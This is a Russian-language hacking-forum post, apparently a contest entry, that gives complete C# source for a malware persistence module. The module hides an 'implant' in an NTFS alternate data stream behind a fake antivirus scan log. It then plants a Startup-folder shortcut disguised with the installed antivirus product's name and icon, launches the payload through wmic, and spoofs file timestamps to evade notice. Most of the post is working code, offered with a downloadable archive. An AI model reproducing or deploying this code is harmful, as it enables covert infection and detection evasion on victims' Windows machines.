Скрытая угроза: Прячемся в потоках данных и маскируемся под антивирус

Man

Professional
Messages
3,006
Reaction score
531
Points
113
Доброго времени суток дамы и господа, решил взять участь в конкурсе.
Сегодня речь пойдет о ADS (Alternative Data Stream) или же альтернативый поток данных
Эта фишка работает в файловой системе NTFS (и в некотрых других но я не тестил)
Суть в том что у нас есть файл с данными, и мы можем записать туда другие данные в другой поток и работать с ними.
Винда нам в проводнике покажет только основные данные и открыть даст только их.
Давайте попробуем реализовать автозапуск малвари + маскировку ярлыка под установленный в системе антивирус + наш бинарь в альт. потоке, а в обычном потоке лог файл.

Я буду использовать язык C#
Создаем консольный проект .net framework и добавляем ссылки на нужные библиотеки (Windows Script Host Object Model и System.Management)

1.png


2.png

3.png


В проекте первая библиотека нужна для создания ярлыков, вторая для получения информации о антивирусе.

Начнём писать код!

4.jpeg


Давайте пропишем поля с конфигурацией:
C#:
/// <summary>
/// Shell startup directory path
/// Any file in this dir will be executed after user logged in.
/// </summary>
private static readonly DirectoryInfo ShellStartupDirectory = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup));

/// <summary>
/// Local application data directory
/// You can open this dir by hitting WIN+R and typing %LocalAppdata%
/// </summary>
private static readonly DirectoryInfo LocalAppDataDirectory = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));

/// <summary>
/// Change file creation date to custom
/// </summary>
private static readonly DateTime FileCreationDate = new DateTime(2012, 5, 22, 10, 15, 50);

/// <summary>
/// Alternative Data Stream name
/// </summary>
private const string ADSName = "Antivirus";

/// <summary>
/// Implant will be deployed on disk with specified extension
/// </summary>
private const string MimicExtension = ".log";

/// <summary>
/// Fake file content
/// </summary>
private const string MimicContent = @"
--- Antivirus Scan Summary ---
Date: 2012-05-22
Time: 10:15:50
Duration: 32 minutes 15 seconds
-------------------------------------------------
Total Files Scanned: 98765
Total Threats Detected: 0
-------------------------------------------------
Scan Status: Completed Successfully
-------------------------------------------------
End of Scan.";

Сделаем импорты нужных winapi функций
[CODE=csharp][DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr CreateFileW([MarshalAs(UnmanagedType.LPWStr)] string filename, uint access, int share, IntPtr securityAttributes, int creationDisposition, int flagsAndAttributes, IntPtr templateFile);

[DllImport("kernel32.dll")]
private static extern bool WriteFile(IntPtr hFile, byte[] lpBuffer, int nNumberOfBytesToWrite, out uint lpNumberOfBytesWritten, [In] IntPtr lpOverlapped);

[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool DeleteFile(string lpFileName);

[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool CloseHandle(IntPtr hObject);

[DllImport("kernel32.dll")]
private static extern uint GetLastError();

private static readonly IntPtr INVALID_HANDLE_VALUE = new IntPtr(-1);
private const int
MAX_PATH = 260,
OPEN_ALWAYS = 4,
FILE_WRITE_ATTRIBUTES = 0x100,
FILE_SHARE_READ = 0x00000001,
FILE_FLAG_SEQUENTIAL_SCAN = 0x80,
FILE_ATTRIBUTE_NORMAL = 0x08000000;
const uint
GENERIC_READ = 0x80000000,
GENERIC_WRITE = 0x40000000;

Методы для работы с альт. потоками (Первый проверяет находиться ли нужный путь на диске в формате NTFS, а второй записывает фейк данные в файл и пишет пейлоад в альт. поток)

C#:
/// <summary>
/// Checks if path is on NTFS drive.
/// </summary>
/// <param name="path">Target path</param>
/// <returns>true/false</returns>
private static bool IsPathOnNtfs(string path)
{
try
{
string rootPath = Path.GetPathRoot(path);
if (string.IsNullOrEmpty(rootPath))
{
return false;
}
DriveInfo driveInfo = new DriveInfo(rootPath);
return driveInfo.DriveFormat.Equals("NTFS", StringComparison.OrdinalIgnoreCase);
}
catch
{
return false;
}
 }

/// <summary>
/// Write bytes to alternative data stream
/// </summary>
/// <param name="target">Target file to write</param>
/// <param name="stream">Target stream name</param>
/// <param name="content">Fake content</param>
/// <param name="payload">Payload data inside ads</param>
private static bool WriteADS(string target, string stream, string content, byte[] payload)
{
if (!IsPathOnNtfs(target))
{
return false;
 }

string ads = target + ":" + stream;
DeleteFile(ads);
System.IO.File.WriteAllText(target, content);
IntPtr streamHandle = CreateFileW(ads, GENERIC_READ | GENERIC_WRITE | FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, IntPtr.Zero, OPEN_ALWAYS, FILE_FLAG_SEQUENTIAL_SCAN | FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);

if (streamHandle == INVALID_HANDLE_VALUE)
{
#if DEBUG
Console.WriteLine("[ADS] Invalid handle. Code: " + GetLastError());
#endif
Environment.Exit(1);
 };

WriteFile(streamHandle, payload, payload.Length, out uint _, IntPtr.Zero);
CloseHandle(streamHandle);

return true;
}

Методы для поиска установленого антивируса, а так-же изменения даты создания файла или папки:
В случае если через wmi антивирус найти не удалось - пробуем найти бинарник дефендера, а если и его нету то имя в авторане будет System

C#:
/// <summary>
/// Get installed antivirus exe and name
/// </summary>
/// <returns>
/// string[] { "C:\\eset.exe", "Eset Security" }
/// string[] { "C:\\defender.exe", "Windows Defender" }
/// </returns>
private static string[] QueryInstalledAntivirus()
{
try
{
// Query WMI for installed antivirus products
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(@"\\" + Environment.MachineName + "\\root\\SecurityCenter2", "SELECT * FROM AntivirusProduct"))
{
ManagementObjectCollection searcherInstance = searcher.Get();

foreach (ManagementBaseObject instance in searcherInstance)
{
string name = instance["displayName"]?.ToString() ?? null;
string exePath = instance["pathToSignedProductExe"]?.ToString() ?? null;
if (!string.IsNullOrEmpty(name) && !string.IsNullOrEmpty(exePath))
{
if (System.IO.File.Exists(exePath))
{
return new string[] { exePath, name };
}
}
}
}
}
catch (Exception ex)
{
Console.WriteLine("An error occurred: " + ex.Message);
 }

// Query defender information.
string systemDriveInfo = new DriveInfo(Environment.GetEnvironmentVariable("SystemRoot")).RootDirectory.FullName;
string defenderFile = Path.Combine(systemDriveInfo, "Program Files\\Windows Defender\\MpCmdRun.exe");
Console.WriteLine(defenderFile);
if (System.IO.File.Exists(defenderFile))
{
return new string[] { defenderFile, "Windows Defender" };
}
            

return new string[] { "", "System" };
 }

/// <summary>
/// Spoof file or directory creation date
/// </summary>
/// <param name="filepath">File or directory location on disk</param>
private static void SpoofCreationDate(string filepath, bool directory = false)
{
if (directory)
{
Directory.SetCreationTime(filepath, FileCreationDate);
Directory.SetLastWriteTime(filepath, FileCreationDate);
Directory.SetLastAccessTime(filepath, FileCreationDate);
} else
{
System.IO.File.SetCreationTime(filepath, FileCreationDate);
System.IO.File.SetLastWriteTime(filepath, FileCreationDate);
System.IO.File.SetLastAccessTime(filepath, FileCreationDate);
}
            
}

Давайте напишем два метода установки в авторан (Наш козырный и обычное копирование в папку)
Лучше перебздеть, чем недобздеть (Зигмунд Фрейд)

Метод SmartInstall создаст папку в LocalAppdata и запишет туда лог файл с фейк данными, а в альт. поток запишет нужный нам бинарник.
Потом создаст ярлык в shell:startup который будет запускать бинарь из альт. потока данных и под конец изменит даты создания файлов и папок.

C#:
/// <summary>
/// Copy current executable into local appdata directory inside alternative data stream.
/// Then install shortcut with installed antivirus name and icon into startup directory.
/// You can open this dir by hitting WIN+R and typing shell:startup
/// </summary>
/// <param name="target">Target file to install</param>
/// <returns>Installed file or null on errors</returns>
private static string SmartInstall(string target)
{
byte[] payload = System.IO.File.ReadAllBytes(target);
string[] AntivirusInfo = QueryInstalledAntivirus();
DirectoryInfo InstallationSubDirectory = new DirectoryInfo(Path.Combine(LocalAppDataDirectory.FullName, AntivirusInfo[1]));
FileInfo ImplantInstallationFile = new FileInfo(Path.Combine(InstallationSubDirectory.FullName, Path.GetFileNameWithoutExtension(target) + MimicExtension));
FileInfo ImplantShellStartupShortcut = new FileInfo(Path.Combine(ShellStartupDirectory.FullName, AntivirusInfo[1] + ".lnk"));
 
// Create sub directory if not exists
if (!InstallationSubDirectory.Exists)
{
InstallationSubDirectory.Create();
#if DEBUG
Console.WriteLine("[SMART-STARTUP] Installation directory created at: " + InstallationSubDirectory.FullName);
#endif
}
// Copy implant into sub directory
if (!ImplantInstallationFile.Exists)
{
// Write
if (!WriteADS(ImplantInstallationFile.FullName, ADSName, MimicContent, payload))
{
throw new FormatException("ЕЕ БЛЯ СУКА НЕ NTFS!!!!!1");
 }

// Spoof file creation date
SpoofCreationDate(ImplantInstallationFile.FullName);
#if DEBUG
Console.WriteLine("[SMART-STARTUP] Copied implant to: " + ImplantInstallationFile.FullName);
#endif
// Spoof directory creation date
SpoofCreationDate(InstallationSubDirectory.FullName, true);
}
            
// Create implant shortcut into startup directory
if (!ImplantShellStartupShortcut.Exists)
{
WshShell wshShell = new WshShell();
IWshShortcut shortcut = (IWshShortcut)wshShell.CreateShortcut(ImplantShellStartupShortcut.FullName);
// Steal icon from original antivirus executable
if (!string.IsNullOrEmpty(AntivirusInfo[0]) && System.IO.File.Exists(AntivirusInfo[0]))
{
shortcut.IconLocation = AntivirusInfo[0];
}
shortcut.Description = AntivirusInfo[1];
shortcut.TargetPath = "%comspec%";
shortcut.WorkingDirectory = InstallationSubDirectory.FullName;
shortcut.Arguments = string.Format("/c @wmic process call create '{0}'", ImplantInstallationFile.FullName + ":" + ADSName); // Тут магия запуска с альт потока
shortcut.Save();
// Spoof creation date
SpoofCreationDate(ImplantShellStartupShortcut.FullName);
#if DEBUG
Console.WriteLine("[SMART-STARTUP] Created startup shortcut: " + AntivirusInfo[1]);
#endif
return ImplantShellStartupShortcut.FullName;
}
return null;
}
Метод NormalInstall просто дропнет файл в папку shell:startup и изменит дату создания:
C#:Скопировать в буфер обмена
        /// <summary>
/// Installs the application in a normal manner by copying the current executable to the Shell Startup directory.
/// </summary>
/// <param name="target">Target file to install</param>
/// <returns>Installed file or null on errors</returns>
private static string NormalInstall(string target)
{
FileInfo TargetExecutable = new FileInfo(target);
FileInfo ImplantShellStartupExecutable = new FileInfo(Path.Combine(ShellStartupDirectory.FullName, TargetExecutable.Name));

// If the executable does not already exist in the Shell Startup directory, copy it there.
if (!ImplantShellStartupExecutable.Exists)
{
TargetExecutable.CopyTo(ImplantShellStartupExecutable.FullName);
SpoofCreationDate(ImplantShellStartupExecutable.FullName);
#if DEBUG
Console.WriteLine("[NORMAL-STARTUP] Implant installed");
#endif
return ImplantShellStartupExecutable.FullName;
}
return null;
}

И главный метод для авторана который попытаеться сделать крутой автозапуск с альт. потоком и маскировкой под антиврус,
а если не удалось - то обычный дроп в папку.

C#:
/// <summary>
/// Installs the application, ensuring the Shell Startup directory exists and attempting a smart installation first.
/// If the smart installation fails, it falls back to a normal installation.
/// </summary>
/// <returns>true/false</returns>
public static bool Install(string targetFile)
{
string InstalledImplant = null;

// Check
if (!System.IO.File.Exists(targetFile))
{
#if DEBUG
Console.WriteLine("[STARTUP] Target file not found.");
#endif
return false;
 }

// Ensure the Shell Startup directory exists; create it if it doesn't.
if (!ShellStartupDirectory.Exists)
{
ShellStartupDirectory.Create();
#if DEBUG
Console.WriteLine("[STARTUP] Shell startup directory was created.");
#endif
}
// Attempt a smart installation of the stub.
try
{
InstalledImplant = SmartInstall(targetFile);
}
catch (Exception ex)
{
#if DEBUG
Console.WriteLine("[SMART-STARTUP] Error, " + ex.Message);
#endif
// If the smart installation fails, fall back to a normal installation.
InstalledImplant = NormalInstall(targetFile);
 }

return !string.IsNullOrEmpty(InstalledImplant);
}

И вот мейн файл:
C#:Скопировать в буфер обмена
static void Main(string[] args)
{
SmartStartup.Install("putty.exe");
}

После запуска проекта, он установил putty в автозапуск в альт потоке под видом антивируса,
вот как это выглядит если антивирус установлен:

5.png


Вот как выглядит файл на диске:

6.png


В случае если антивирус найти не удалось:

7.png


8.png


А вот так это выглядит в диспетчере задач и process hacker:
Интересный прикол заметил, диспетчер задач не может показать свойства этого процесса или открыть его расположение.

9.png


Архив с проектом прикреплен ниже, пароль xss.is

Вложения​

 
Top